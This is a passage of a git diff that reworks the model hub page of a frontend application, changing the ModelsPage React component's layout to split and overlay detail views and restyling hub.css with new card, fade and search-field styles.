+              title={HUB_SECTION_TITLE.latest}
+              count={listCount}
+              view={allModelsView}
+              onViewChange={setAllModelsView}
+              onRefresh={handleRetrySearch}
+              isRefreshing={isLoading}
+            />
+            {allModelsView === "grid" && listCount > 0 && (
+              <ResultListHeader isDataset={isDatasetMode} />
+            )}
+          </div>
+        </div>
+      );
+    }
+    const ownerToggle = !isDatasetMode ? (
+      <OwnerScopeToggle value={ownerScope} onChange={setOwnerScope} />
+    ) : undefined;
+    // Compact pill so it stays beside the view-mode tabs even in the narrow
+    // split pane instead of dropping to its own row.
+    return (
+      <div className="flex flex-col gap-3 pt-6">
+        {isChannelListMode ? (
+          <HubListHeader
+            title={channelSection ? HUB_SECTION_TITLE[channelSection] : "Models"}
+            count={listCount}
+            view={allModelsView}
+            onViewChange={setAllModelsView}
+            onBack={handleBackToFeed}
+            actions={ownerToggle}
+          />
+        ) : (
+          <HubListHeader
+            title={focusedHeadingText}
+            view={allModelsView}
+            onViewChange={setAllModelsView}
+            onBack={isSortBrowseMode ? handleBackToFeed : undefined}
+            actions={ownerToggle}
+          />
+        )}
+        {allModelsView === "grid" && listCount > 0 && (
+          <ResultListHeader isDataset={isDatasetMode} />
+        )}
+      </div>
+    );
+  }, [
+    isDiscoverTab,
+    isFeedMode,
+    isChannelListMode,
+    isSortBrowseMode,
+    channelSection,
+    handleBackToFeed,
+    focusedHeadingText,
+    listCount,
+    allModelsView,
+    setAllModelsView,
+    ownerScope,
+    setOwnerScope,
+    isDatasetMode,
+    feedTrendingRows,
+    hubFeed.trending.isLoading,
+    deviceType,
+    handleSelect,
+    handleOpenList,
+  ]);
+
+  const downloadedHeader = useMemo(() => {
+    const sortControl = (
+      <InventorySortControl value={inventorySort} onChange={setInventorySort} />
+    );
+    // Compact pill so it stays beside the view-mode tabs even in the narrow
+    // split pane instead of dropping to its own row.
+    return (
+      <HubListHeader
+        title="On device"
+        count={effectiveCachedRows.length + effectiveLocalRows.length}
+        view={allModelsView}
+        onViewChange={setAllModelsView}
+        actions={sortControl}
+      />
+    );
+  }, [
+    effectiveCachedRows.length,
+    effectiveLocalRows.length,
+    allModelsView,
+    setAllModelsView,
+    inventorySort,
+    setInventorySort,
+  ]);
+
+  const detailOpen = urlModel !== null;
+  const splitMode = allModelsView === "split";
+
   return (
-    <div className="hub-page flex h-full min-h-0 flex-col">
-      <div className="mx-auto flex w-full max-w-[1180px] flex-1 min-h-0 flex-col gap-6 px-5 pt-8 pb-6 sm:px-9 sm:pt-10 sm:pb-8">
+    <div className="hub-page flex min-h-0 min-w-0 flex-1 basis-0 flex-col overflow-hidden bg-background">
+      <HubTopBar>
         <ModelsHeader
           cachedCount={effectiveCachedRows.length}
           localCount={effectiveLocalRows.length}
@@ -735,86 +1321,104 @@ export function ModelsPage() {
           ramLabel={ramLabel}
           activeCheckpoint={activeCheckpoint}
           activeGgufVariant={activeGgufVariant}
+          onTitleClick={handleResetToDiscover}
           onEject={() => void ejectModel()}
         />
+        <ModelsToolbar
+          tab={tab}
+          onTabChange={handleTabChange}
+          query={query}
+          onQueryChange={handleQueryChange}
+          isLoading={isLoading}
+          sortBy={effectiveSort}
+          onSortChange={handleSortChange}
+          resourceType={resourceType}
+          onResourceTypeChange={handleResourceTypeChange}
+          formatFilter={formatFilter}
+          onFormatFilterChange={setFormatFilter}
+          capabilityFilter={capabilityFilter}
+          onCapabilityFilterChange={setCapabilityFilter}
+          onManageLocalFolders={handleManageLocalFolders}
+          onOpenFineTune={() => handleOpenList("finetune")}
+        />
+      </HubTopBar>
 
-        <section className="elevated-card flex min-h-0 flex-1 flex-col overflow-hidden bg-card">
-          <div className="hub-side-surface shrink-0 px-4 pt-4 pb-6">
-            <ModelsToolbar
-              tab={tab}
-              onTabChange={handleTabChange}
-              query={query}
-              onQueryChange={handleQueryChange}
-              isLoading={isLoading}
-              sortBy={effectiveSort}
-              onSortChange={handleSortChange}
-              resourceType={resourceType}
-              onResourceTypeChange={handleResourceTypeChange}
-              formatFilter={formatFilter}
-              onFormatFilterChange={setFormatFilter}
-              capabilityFilter={capabilityFilter}
-              onCapabilityFilterChange={setCapabilityFilter}
-              activeChannelId={activeChannelId}
-              onChannelSelect={handleChannelSelect}
-              onRefresh={handleRetrySearch}
-              onManageLocalFolders={handleManageLocalFolders}
-            />
-          </div>
+      <div
+        className={cn(
+          "relative flex min-h-0 min-w-0 flex-1 basis-0",
+          // Split mode shares the top bar's centered 1100px measure so the
+          // master list lines up with the heading instead of hugging the edge.
+          splitMode
+            ? "flex-col lg:mx-auto lg:w-full lg:max-w-[1100px] lg:flex-row"
+            : "flex-col",
+        )}
+      >
+        <div
+          className={cn(
+            "flex min-h-0 flex-col",
+            // Split mode keeps the catalog as a fixed-width master pane on large
+            // screens; otherwise it fills the area and the detail view overlays it.
+            splitMode
+              ? "flex-1 lg:w-[460px] lg:max-w-[44%] lg:flex-none lg:shrink-0 lg:border-r lg:border-border/60"
+              : "flex-1",
+            detailOpen && !splitMode && "pointer-events-none",
+          )}
+          aria-hidden={(detailOpen && !splitMode) || undefined}
+        >
+          <ModelsCatalog
+            state={catalogState}
+            pagination={catalogPagination}
+            handlers={catalogHandlers}
+            header={catalogHeader}
+            downloadedHeader={downloadedHeader}
+            resetScrollKey={filterResetSignature}
+            discoverView={allModelsView}
+            inventorySort={inventorySort}
+          />
+        </div>
 
-          <div className="flex min-h-0 flex-1 flex-col lg:grid lg:grid-cols-[360px_minmax(0,1fr)] xl:grid-cols-[400px_minmax(0,1fr)] 2xl:grid-cols-[440px_minmax(0,1fr)]">
-            <div
-              className={cn(
-                "hub-side-surface flex min-h-0 min-w-0 flex-1 flex-col border-b border-sidebar-border lg:flex-initial lg:border-b-0 lg:border-r lg:border-sidebar-border",
-                mobileInspectorOpen && "hidden lg:flex",
-              )}
-            >
-              <ModelsCatalog
-                state={catalogState}
-                pagination={catalogPagination}
-                handlers={catalogHandlers}
+        {splitMode ? (
+          detailOpen ? (
+            <div className="hub-canvas z-20 flex min-h-0 flex-col max-lg:absolute max-lg:inset-0 lg:relative lg:min-w-0 lg:flex-1">
+              <HubDetailView
+                model={selectedModel}
+                isDataset={isDatasetMode}
+                metadataUnavailable={metadataUnavailable}
+                selectionHiddenByFilters={selectionHiddenByFilters}
+                runtime={inspectorRuntime}
+                actions={inspectorActions}
+                onBack={handleCloseDetail}
+                compact={true}
               />
             </div>
-
-            <div
-              className={cn(
-                "hub-side-surface flex min-h-0 min-w-0 flex-1 flex-col lg:flex-initial",
-                !mobileInspectorOpen && "hidden lg:flex",
-              )}
-            >
-              <button
-                type="button"
-                onClick={() => setMobileInspectorOpen(false)}
-                className="relative z-10 flex h-10 shrink-0 cursor-pointer select-none items-center gap-1.5 border-b border-border bg-transparent px-4 text-[12.5px] font-medium text-muted-foreground transition-colors hover:text-foreground lg:hidden"
-              >
-                <HugeiconsIcon
-                  icon={ArrowLeft01Icon}
-                  strokeWidth={1.75}
-                  className="size-3.5"
-                />
-                Back to list
-              </button>
-              <div className="flex min-h-0 flex-1 flex-col">
-                {(isHubDesktop || mobileInspectorOpen) && (
-                  <ModelInspector
-                    model={selectedModel}
-                    isDataset={isDatasetMode}
-                    metadataUnavailable={metadataUnavailable}
-                    selectionHiddenByFilters={selectionHiddenByFilters}
-                    runtime={inspectorRuntime}
-                    actions={inspectorActions}
-                  />
-                )}
-              </div>
+          ) : (
+            <div className="hidden min-h-0 flex-1 items-center justify-center px-6 text-center text-[13px] text-muted-foreground lg:flex">
+              Select a model to preview its details.
             </div>
-          </div>
-        </section>
-        <OnDeviceFoldersDialog
-          open={foldersDialogOpen}
-          onOpenChange={setFoldersDialogOpen}
-          onInventoryChange={refreshInventory}
-        />
-        <ExternalLinkConfirmDialog />
+          )
+        ) : (
+          detailOpen && (
+            <div className="hub-canvas absolute inset-0 z-20 flex min-h-0 flex-col">
+              <HubDetailView
+                model={selectedModel}
+                isDataset={isDatasetMode}
+                metadataUnavailable={metadataUnavailable}
+                selectionHiddenByFilters={selectionHiddenByFilters}
+                runtime={inspectorRuntime}
+                actions={inspectorActions}
+                onBack={handleCloseDetail}
+              />
+            </div>
+          )
+        )}
       </div>
+
+      <OnDeviceFoldersDialog
+        open={foldersDialogOpen}
+        onOpenChange={setFoldersDialogOpen}
+        onInventoryChange={refreshInventory}
+      />
+      <ExternalLinkConfirmDialog />
     </div>
   );
 }
diff --git a/studio/frontend/src/features/hub/hub.css b/studio/frontend/src/features/hub/hub.css
index 53f5ba576c..c481ca11a5 100644
--- a/studio/frontend/src/features/hub/hub.css
+++ b/studio/frontend/src/features/hub/hub.css
@@ -12,740 +12,1495 @@
    classes so they do not bleed into chat, train or settings surfaces. */
 
 :root {
-	--format-gguf: #60a5fa;
-	--format-checkpoint: #f472b6;
-	--format-adapter: #8b5cf6;
-	--format-mlx: #f59e0b;
-	--status-warning: #eab308;
-	--status-danger: #ef4444;
-	--status-success: #11b686;
+  --format-gguf: #60a5fa;
+  --format-checkpoint: #f472b6;
+  --format-adapter: #8b5cf6;
+  --format-mlx: #f59e0b;
+  --status-warning: #eab308;
+  --status-danger: #ef4444;
+  --status-success: #11b686;
 }
 
 .dark {
-	--format-gguf: #60a5fa;
-	--format-checkpoint: #f472b6;
-	--format-adapter: #a78bfa;
-	--format-mlx: #fbbf24;
-	--status-warning: #fbbf24;
-	--status-danger: #ef4444;
-	--status-success: #11b686;
+  --format-gguf: #60a5fa;
+  --format-checkpoint: #f472b6;
+  --format-adapter: #a78bfa;
+  --format-mlx: #fbbf24;
+  --status-warning: #fbbf24;
+  --status-danger: #ef4444;
+  --status-success: #11b686;
 }
 
 @theme inline {
-	--color-format-gguf: var(--format-gguf);
-	--color-format-checkpoint: var(--format-checkpoint);
-	--color-format-adapter: var(--format-adapter);
-	--color-format-mlx: var(--format-mlx);
-	--color-status-warning: var(--status-warning);
-	--color-status-danger: var(--status-danger);
-	--color-status-success: var(--status-success);
+  --color-format-gguf: var(--format-gguf);
+  --color-format-checkpoint: var(--format-checkpoint);
+  --color-format-adapter: var(--format-adapter);
+  --color-format-mlx: var(--format-mlx);
+  --color-status-warning: var(--status-warning);
+  --color-status-danger: var(--status-danger);
+  --color-status-success: var(--status-success);
 }
 
 @layer base {
-	/* Filled-control surface — Hub search, Hub filter triggers, Train
-	   number/text inputs, Train Selects, picker search bars. The same
-	   visual identity the Hub search has always had:
-	     - Resting: subtle 3% bg + 5% border
-	     - Hover / open: 5% bg + 8% border
-	     - Focus: 4% bg + 15% border (no solid colour swap)
-	     - box-shadow: none on focus to neutralise shadcn's
-	       focus-visible green ring (--ring is the brand primary).
-	   `!important` is used on focus box-shadow only — Tailwind's
-	   `focus-visible:ring-…` utility composes via `--tw-ring-shadow`
-	   into the final box-shadow at the same specificity as ours, and
-	   without bumping ours we'd lose the cascade tie inconsistently
-	   depending on which utility was applied last to the element. */
-	.field-soft {
-		background-color: color-mix(in srgb, var(--foreground) 3%, transparent);
-		border: 1px solid color-mix(in srgb, var(--foreground) 5%, transparent);
-		box-shadow: none;
-		transition:
-			background-color 160ms ease,
-			border-color 160ms ease;
-	}
+  /* Filled-control surface — Hub search, Hub filter triggers, picker
+	   search bars. Borderless soft fill matching the .hub-tab-toggle pills:
+	     - Resting: 5% bg, no border
+	     - Hover / open: 8% bg
+	     - Focus: keyboard-only (:focus-visible) so a mouse click never
+	       leaves the control looking "selected"; the open dropdown stays
+	       lit via [data-state="open"].
+	   `!important` is required because these controls also carry shadcn
+	   Input utilities (bg-input/30, border, focus ring) that live in the
+	   utilities layer and would otherwise win over this base layer. */
+  .field-soft {
+    background-color: color-mix(in srgb, var(--foreground) 5%, transparent) !important;
+    border: 0;
+    box-shadow: none;
+    transition: background-color 160ms ease;
+  }
 
-	.field-soft:hover,
-	.field-soft[data-state="open"] {
-		background-color: color-mix(in srgb, var(--foreground) 5%, transparent);
-		border-color: color-mix(in srgb, var(--foreground) 8%, transparent);
-	}
+  .field-soft:hover,
+  .field-soft[data-state="open"] {
+    background-color: color-mix(in srgb, var(--foreground) 8%, transparent) !important;
+  }
 
-	.field-soft:focus,
-	.field-soft:focus-visible,
-	.field-soft:focus-within {
-		background-color: color-mix(in srgb, var(--foreground) 4%, transparent);
-		border-color: color-mix(in srgb, var(--foreground) 15%, transparent) !important;
-		box-shadow: none !important;
-		outline: none;
-	}
+  .field-soft:focus-visible {
+    background-color: color-mix(in srgb, var(--foreground) 8%, transparent) !important;
+    box-shadow: none !important;
+    outline: none;
+  }
 
-	.dark .field-soft {
-		background-color: color-mix(in srgb, var(--foreground) 4%, transparent);
-		border-color: color-mix(in srgb, var(--foreground) 6%, transparent);
-	}
+  .dark .field-soft {
+    background-color: color-mix(in srgb, var(--foreground) 5%, transparent) !important;
+  }
 
-	.dark .field-soft:hover,
-	.dark .field-soft[data-state="open"] {
-		background-color: color-mix(in srgb, var(--foreground) 5%, transparent);
-		border-color: color-mix(in srgb, var(--foreground) 8%, transparent);
-	}
+  .dark .field-soft:hover,
+  .dark .field-soft[data-state="open"] {
+    background-color: color-mix(in srgb, var(--foreground) 9%, transparent) !important;
+  }
 
-	.dark .field-soft:focus,
-	.dark .field-soft:focus-visible,
-	.dark .field-soft:focus-within {
-		background-color: color-mix(in srgb, var(--foreground) 7%, transparent);
-		border-color: color-mix(in srgb, var(--foreground) 15%, transparent) !important;
-	}
+  .dark .field-soft:focus-visible {
+    background-color: #1c1c1c !important;
+    box-shadow: none !important;
+  }
 
-	.hub-page .elevated-card {
-		border: 1px solid color-mix(in srgb, var(--foreground) 5%, transparent);
-		border-radius: 20px;
-		/* No ambient glow: it tinted the white page gray around the card. */
-		box-shadow: 0 12px 48px -8px color-mix(in srgb, var(--foreground) 8%, transparent);
-	}
+  /* The Hub search field is `type="search"` (so the browser won't offer saved
+     passwords on it). Suppress the native WebKit clear button / decoration so
+     the field keeps its custom trailing ⌘K hint and spinner. */
+  .field-soft[type="search"]::-webkit-search-cancel-button,
+  .field-soft[type="search"]::-webkit-search-decoration {
+    -webkit-appearance: none;
+    appearance: none;
+  }
 
-	@media (min-width: 640px) {
-		.hub-page .elevated-card {
-			border-radius: 28px;
-		}
-	}
+  .hub-page .hub-canvas {
+    background-color: var(--background);
+  }
 
-	@media (min-width: 1024px) {
-		.hub-page .elevated-card {
-			border-radius: 32px;
-		}
-	}
+  html.dark .hub-page .hub-canvas {
+    background-color: var(--background);
+  }
 
-	html.dark .hub-page .elevated-card {
-		border-color: transparent;
-		box-shadow: none;
-	}
+  .hub-page .hub-detail-bar {
+    background-color: var(--background);
+  }
 
-	.hub-page .page-title-halo {
-		text-shadow:
-			0 0 24px #e4e3df,
-			0 0 56px #ebeae6,
-			0 0 96px #efeeea;
-	}
+  .hub-page .hub-detail-bar::after {
+    content: "";
+    position: absolute;
+    left: 0;
+    right: 0;
+    top: 100%;
+    height: 40px;
+    pointer-events: none;
+    opacity: 0;
+    transition: opacity 240ms ease;
+    background: linear-gradient(
+      to bottom,
+      var(--background),
+      color-mix(in srgb, var(--background) 55%, transparent) 48%,
+      transparent
+    );
+  }
 
-	html.dark .hub-page .page-title-halo {
-		text-shadow: none;
-	}
+  .hub-page .hub-scroll-fade {
+    pointer-events: none;
+    opacity: 0;
+    transition: opacity 240ms ease;
+    /* Thin solid band right under the search bar, then fade quickly so the
+       white area stays slim. */
+    background: linear-gradient(
+      to bottom,
+      var(--background),
+      var(--background) 8%,
+      color-mix(in srgb, var(--background) 55%, transparent) 38%,
+      transparent
+    );
+  }
 
-	html:not(.dark) .hub-page {
-		background-color: #fff;
-	}
+  .hub-page .hub-detail-bar[data-scrolled="true"]::after,
+  .hub-page .hub-scroll-fade[data-scrolled="true"] {
+    opacity: 1;
+  }
 
-	html:not(.dark) .hub-page > div > section .border-b,
-	html:not(.dark) .hub-page > div > section .border-r,
-	html:not(.dark) .hub-page > div > section .border-t.border-border {
-		border-color: color-mix(in srgb, var(--foreground) 6%, transparent);
-	}
+  .hub-page .hub-carousel-fade {
+    pointer-events: none;
+    position: absolute;
+    z-index: 5;
+    width: 56px;
+    opacity: 0;
+    transition: opacity 240ms ease;
+  }
 
-	html:not(.dark) .hub-page .hub-side-surface {
-		background-color: var(--background);
-	}
+  .hub-page .hub-carousel-fade[data-visible="true"] {
+    opacity: 1;
+  }
 
-	html:not(.dark) .hub-page .hub-tag-soft,
-	html:not(.dark) .hub-page .hub-tag-meta {
-		background-color: transparent;
-		transition:
-			background-color 160ms ease,
-			border-color 160ms ease;
-	}
+  .hub-page .hub-carousel-fade-left {
+    left: 0;
+    background: linear-gradient(
+      to right,
+      var(--background),
+      color-mix(in srgb, var(--background) 55%, transparent) 48%,
+      transparent
+    );
+  }
 
-	html:not(.dark) .hub-page .hub-tag-soft:hover,
-	html:not(.dark) .hub-page .hub-tag-meta:hover {
-		background-color: color-mix(in srgb, var(--foreground) 4%, transparent);
-	}
+  .hub-page .hub-carousel-fade-right {
+    right: 0;
+    background: linear-gradient(
+      to left,
+      var(--background),
+      color-mix(in srgb, var(--background) 55%, transparent) 48%,
+      transparent
+    );
+  }
 
-	html.dark .hub-page {
-		background-color: var(--background);
-	}
+  .hub-page .hub-model-card {
+    --hub-card-border-accent: var(--foreground);
+    --hub-card-edge-mix: 2.2%;
+    --hub-card-inner-accent: var(--background);
+    --hub-card-inner-mix: 12%;
+    --hub-card-inner-opacity: 0.14;
+    --hub-card-corner-mix: 8.5%;
+    --hub-card-corner-opacity: 0.48;
+    --hub-card-hover-edge-mix: 5.5%;
+    --hub-card-edge: color-mix(
+      in srgb,
+      var(--hub-card-border-accent) var(--hub-card-edge-mix),
+      transparent
+    );
+    --hub-card-inner-edge: color-mix(
+      in srgb,
+      var(--hub-card-inner-accent) var(--hub-card-inner-mix),
+      transparent
+    );
+    --hub-card-corner-edge: color-mix(
+      in srgb,
+      var(--hub-card-border-accent) var(--hub-card-corner-mix),
+      transparent
+    );
+    --hub-card-hover-edge: color-mix(
+      in srgb,
+      var(--hub-card-border-accent) var(--hub-card-hover-edge-mix),
+      transparent
+    );
+    position: relative;
+    overflow: hidden;
+    border-radius: 18px;
+    background-color: color-mix(in srgb, var(--foreground) 2.5%, transparent);
+    border: 1px solid transparent;
+    box-shadow: none;
+    transition: background-color 160ms ease, border-color 160ms ease;
+  }
 
-	html.dark .hub-page > div > section [class*="bg-card"],
-	html.dark .hub-page > div > section [class*="bg-background"] {
-		background-color: var(--popover);
-	}
+  .hub-page .hub-model-card::after {
+    position: absolute;
+    border-radius: inherit;
+    content: "";
+    pointer-events: none;
+    z-index: 2;
+  }
 
-	html.dark .hub-page > div > section .border-b,
-	html.dark .hub-page > div > section .border-r,
-	html.dark .hub-page > div > section .border-t.border-border {
-		border-color: color-mix(in srgb, var(--foreground) 5%, transparent);
-	}
+  .hub-page .hub-model-card::after {
+    inset: 0;
+    border: 1px solid var(--hub-card-corner-edge);
+    opacity: 0;
+    -webkit-mask:
+      linear-gradient(
+        90deg,
+        #000 0 76px,
+        rgb(0 0 0 / 94%) 34%,
+        rgb(0 0 0 / 58%) 76%,
+        transparent 100%
+      )
+      top left / 48% 44px no-repeat,
+      linear-gradient(
+        180deg,
+        #000 0 54px,
+        rgb(0 0 0 / 68%) 86px,
+        transparent 140px
+      )
+      top left / 44px 160px no-repeat,
+      linear-gradient(
+        270deg,
+        #000 0 76px,
+        rgb(0 0 0 / 94%) 34%,
+        rgb(0 0 0 / 58%) 76%,
+        transparent 100%
+      )
+      bottom right / 48% 44px no-repeat,
+      linear-gradient(
+        0deg,
+        #000 0 54px,
+        rgb(0 0 0 / 68%) 86px,
+        transparent 140px
+      )
+      bottom right / 44px 160px no-repeat;
+    mask:
+      linear-gradient(
+        90deg,
+        #000 0 76px,
+        rgb(0 0 0 / 94%) 34%,
+        rgb(0 0 0 / 58%) 76%,
+        transparent 100%
+      )
+      top left / 48% 44px no-repeat,
+      linear-gradient(
+        180deg,
+        #000 0 54px,
+        rgb(0 0 0 / 68%) 86px,
+        transparent 140px
+      )
+      top left / 44px 160px no-repeat,
+      linear-gradient(
+        270deg,
+        #000 0 76px,
+        rgb(0 0 0 / 94%) 34%,
+        rgb(0 0 0 / 58%) 76%,
+        transparent 100%
+      )
+      bottom right / 48% 44px no-repeat,
+      linear-gradient(
+        0deg,
+        #000 0 54px,
+        rgb(0 0 0 / 68%) 86px,
+        transparent 140px
+      )
+      bottom right / 44px 160px no-repeat;
+  }
 
-	html.dark .hub-page .hub-side-surface {
-		background-color: transparent;
-	}
+  .hub-page .hub-model-card:hover {
+    background-color: color-mix(in srgb, var(--foreground) 4.5%, transparent);
+    border-color: transparent;
+  }
 
-	html.dark .hub-page .hub-tag-soft,
-	html.dark .hub-page .hub-tag-meta {
-		background-color: transparent;
-		transition:
-			background-color 160ms ease,
-			border-color 160ms ease;
-	}
+  html.dark .hub-page .hub-model-card {
+    --hub-card-border-accent: var(--foreground);
+    --hub-card-edge-mix: 2.8%;
+    --hub-card-inner-accent: var(--foreground);
+    --hub-card-inner-mix: 2.5%;
+    --hub-card-inner-opacity: 0.22;
+    --hub-card-corner-mix: 9.5%;
+    --hub-card-hover-edge-mix: 6%;
+    background-color: color-mix(in srgb, var(--foreground) 7%, transparent);
+    border-color: transparent;
+  }
 
-	html.dark .hub-page .hub-tag-soft {
-		color: var(--muted-foreground);
-	}
+  html.dark .hub-page .hub-model-card:hover {
+    background-color: #202020;
+    border-color: transparent;
+  }
 
-	html.dark .hub-page .hub-tag-meta {
-		color: var(--muted-foreground);
-	}
+  .hub-page .hub-model-card-art {
+    --hub-model-card-accent: var(
+      --hub-card-art-accent,
+      var(--hub-card-border-accent)
+    );
+    --hub-model-card-art-base: var(--background);
+    position: relative;
+    background: radial-gradient(
+        115% 90% at 18% 8%,
+        color-mix(in srgb, var(--hub-model-card-accent) 20%, transparent),
+        transparent 58%
+      ),
+      radial-gradient(
+        90% 80% at 86% 18%,
+        color-mix(in srgb, var(--hub-model-card-accent) 14%, transparent),
+        transparent 60%
+      ),
+      linear-gradient(
+        160deg,
+        color-mix(
+            in srgb,
+            var(--hub-model-card-accent) 10%,
+            var(--hub-model-card-art-base)
+          )
+          0%,
+        color-mix(
+            in srgb,
+            var(--hub-model-card-accent) 18%,
+            var(--hub-model-card-art-base)
+          )
+          52%,
+        color-mix(
+            in srgb,
+            var(--hub-model-card-accent) 11%,
+            var(--hub-model-card-art-base)
+          )
+          100%
+      );
+  }
 
-	html.dark .hub-page .hub-tag-soft:hover,
-	html.dark .hub-page .hub-tag-meta:hover {
-		background-color: color-mix(in srgb, var(--foreground) 4%, transparent);
-	}
+  .hub-page .hub-model-card-art::after {
+    position: absolute;
+    inset: 0;
+    z-index: 1;
+    border-radius: inherit;
+    background: linear-gradient(
+        90deg,
+        var(--hub-card-inner-edge),
+        transparent 72%
+      )
+      top left / 58% 1px no-repeat,
+      linear-gradient(270deg, var(--hub-card-inner-edge), transparent 72%) top
+      right / 42% 1px no-repeat;
+    content: "";
+    opacity: 0;
+    pointer-events: none;
+  }
 
-	.hub-menu-instant {
-		animation: none !important;
-		transition: none !important;
-		transform: none !important;
-		--tw-translate-x: 0px !important;
-		--tw-translate-y: 0px !important;
-		--tw-scale-x: 1 !important;
-		--tw-scale-y: 1 !important;
-		translate: 0 0 !important;
-		user-select: none;
-		-webkit-user-select: none;
-		will-change: auto !important;
-	}
+  html.dark .hub-page .hub-model-card-art {
+    background: linear-gradient(
+      160deg,
+      color-mix(in srgb, var(--hub-model-card-accent) 76%, #0b0b0d) 0%,
+      color-mix(in srgb, var(--hub-model-card-accent) 92%, #0b0b0d) 52%,
+      color-mix(in srgb, var(--hub-model-card-accent) 70%, #0b0b0d) 100%
+    );
+  }
 
-	.hub-menu-instant.menu-soft-surface {
-		--menu-soft-blur: 18px;
-		--menu-soft-spread: -8px;
-	}
+  .hub-page .hub-trending-card {
+    /* Flat neutral surface shared by the featured, trending and fine-tune
+       cards: a clean elevated body, no border, no colour, no gradient. Dark
+       defaults here; the html:not(.dark) block recolours for the light theme
+       and adds the (light-only) drop shadow. */
+    --hub-trending-surface: color-mix(in srgb, var(--foreground) 7%, var(--background));
+    --hub-trending-surface-hover: color-mix(in srgb, var(--foreground) 10%, var(--background));
+    --hub-trending-title-ink: rgb(255 255 255 / 0.94);
+    --hub-trending-muted-ink: rgb(255 255 255 / 0.68);
+    isolation: isolate;
+    border: 0;
+    border-radius: 18px;
+    background-color: var(--hub-trending-surface);
+    box-shadow: none;
+    transition: background-color 160ms ease;
+  }
 
-	.hub-menu-instant [data-slot="select-item"]:focus,
-	.hub-menu-instant [data-slot="select-item"][data-highlighted],
-	.hub-menu-instant [role="option"][data-highlighted] {
-		background-color: color-mix(in srgb, var(--foreground) 6%, transparent);
-		color: var(--foreground);
-	}
+  html:not(.dark) .hub-page .hub-trending-card {
+    --hub-trending-surface: var(--card);
+    --hub-trending-surface-hover: var(--card);
+    --hub-trending-title-ink: var(--foreground);
+    --hub-trending-muted-ink: var(--muted-foreground);
+    box-shadow: 0 2px 8px -2px rgba(0, 0, 0, 0.16);
+    transition:
+      box-shadow 200ms ease,
+      background-color 160ms ease;
+  }
 
-	html.dark .hub-menu-instant [data-slot="select-item"]:focus,
-	html.dark .hub-menu-instant [data-slot="select-item"][data-highlighted],
-	html.dark .hub-menu-instant [role="option"][data-highlighted] {
-		background-color: color-mix(in srgb, var(--foreground) 8%, transparent);
-		color: var(--foreground);
-	}
+  html:not(.dark) .hub-page .hub-model-card.hub-trending-card {
+    transition:
+      box-shadow 200ms ease,
+      transform 200ms ease,
+      background-color 160ms ease;
+  }
 
-	html.dark .hub-menu-instant {
-		background-color: #2e2f31 !important;
-	}
+  html:not(.dark) .hub-page .hub-model-card.hub-trending-card:hover {
+    box-shadow: 0 2px 8px -2px rgba(0, 0, 0, 0.16);
+    transform: translateY(-2px);
+  }
 
-	.hub-menu-instant *,
-	.hub-menu-instant *::before,
-	.hub-menu-instant *::after,
-	.hub-menu-trigger,
-	.hub-menu-trigger * {
-		animation: none !important;
-		transition: none !important;
-		user-select: none;
-		-webkit-user-select: none;
-	}
+  .hub-page .hub-trending-card > * {
+    position: relative;
+    z-index: 1;
+  }
 
-	html:not(.dark) .hub-page .hub-tab-toggle {
-		background-color: color-mix(in srgb, var(--foreground) 5%, transparent);
-		border: 0;
-		box-shadow: none;
-	}
+  .hub-page .hub-trending-card:hover {
+    background-color: var(--hub-trending-surface-hover);
+  }
 
-	html.dark .hub-page .hub-tab-toggle {
-		background-color: color-mix(in srgb, var(--foreground) 4.5%, transparent);
-		border: 0;
-		box-shadow: none;
-	}
+  .hub-page .hub-trending-card::after {
+    opacity: 0;
+  }
 
-	html:not(.dark) .hub-page .hub-tab-toggle-pill {
-		background-color: var(--background);
-		border: 0;
-		box-shadow:
-			0 1px 2px color-mix(in srgb, var(--foreground) 8%, transparent),
-			0 4px 10px -3px color-mix(in srgb, var(--foreground) 6%, transparent);
-	}
+  /* Dark spotlight cards keep their avatars frameless; the light theme lets the
+     smooth hairline show so white-background logos read cleanly against the
+     pale surface instead of blending into it. */
+  html.dark .hub-page .hub-trending-card .hub-avatar-tile::after {
+    opacity: 0;
+  }
 
-	html.dark .hub-page .hub-tab-toggle-pill {
-		background-color: color-mix(in srgb, var(--foreground) 10%, transparent);
-		border: 0;
-		box-shadow:
-			0 1px 2px rgba(0, 0, 0, 0.14),
-			0 4px 10px -3px rgba(0, 0, 0, 0.1);
-	}
+  .hub-page .hub-trending-card .hub-model-card-art,
+  html.dark .hub-page .hub-trending-card .hub-model-card-art {
+    background: transparent;
+  }
 
-	html:not(.dark) .hub-page .catalog-row {
-		background-color: transparent;
-		border-color: transparent;
-		box-shadow: none;
-		transition: background-color 160ms ease;
-	}
+  .hub-page .hub-trending-card .hub-model-card-art::after {
+    opacity: 0;
+  }
 
-	html:not(.dark) .hub-page .catalog-row:hover {
-		background-color: color-mix(in srgb, var(--foreground) 3.5%, transparent);
-	}
+  .hub-page .hub-trending-title {
+    color: var(--hub-trending-title-ink);
+  }
 
-	html:not(.dark) .hub-page .catalog-row[data-selected="true"] {
-		background-color: color-mix(in srgb, var(--foreground) 6%, transparent);
-	}
+  .hub-page .hub-trending-owner,
+  .hub-page .hub-trending-stats .text-muted-foreground\/75 {
+    color: var(--hub-trending-muted-ink);
+  }
 
-	/* Currently-loaded checkpoint: a brand-green left stripe plus a faint
+  /* Dark theme paints the size chip with a translucent white fill against the
+     dark surface; in the light theme it falls through to the base .hub-chip
+     style, which is already theme-aware. */
+  html.dark .hub-page .hub-trending-card .hub-chip {
+    background-color: rgb(255 255 255 / 0.12);
+    color: rgb(255 255 255 / 0.82);
+  }
+
+  .hub-page .hub-focused-heading {
+    font-size: 18px;
+    font-weight: 600;
+    letter-spacing: 0;
+    color: var(--foreground);
+  }
+
+  .hub-page .page-title-halo {
+    text-shadow: 0 0 24px #e4e3df, 0 0 56px #ebeae6, 0 0 96px #efeeea;
+  }
+
+  html.dark .hub-page .page-title-halo {
+    text-shadow: none;
+  }
+
+  html:not(.dark) .hub-page {
+    background-color: var(--background);
+  }
+
+  html:not(.dark) .hub-page .border-b,
+  html:not(.dark) .hub-page .border-r,
+  html:not(.dark) .hub-page .border-t.border-border {
+    border-color: color-mix(in srgb, var(--foreground) 6%, transparent);
+  }
+
+  html:not(.dark) .hub-page .hub-side-surface {
+    background-color: var(--background);
+  }
+
+  html:not(.dark) .hub-page .hub-tag-soft,
+  html:not(.dark) .hub-page .hub-tag-meta {
+    background-color: transparent;
+    transition: background-color 160ms ease, border-color 160ms ease;
+  }
+
+  html:not(.dark) .hub-page .hub-tag-soft:hover,
+  html:not(.dark) .hub-page .hub-tag-meta:hover {
+    background-color: color-mix(in srgb, var(--foreground) 4%, transparent);
+  }
+
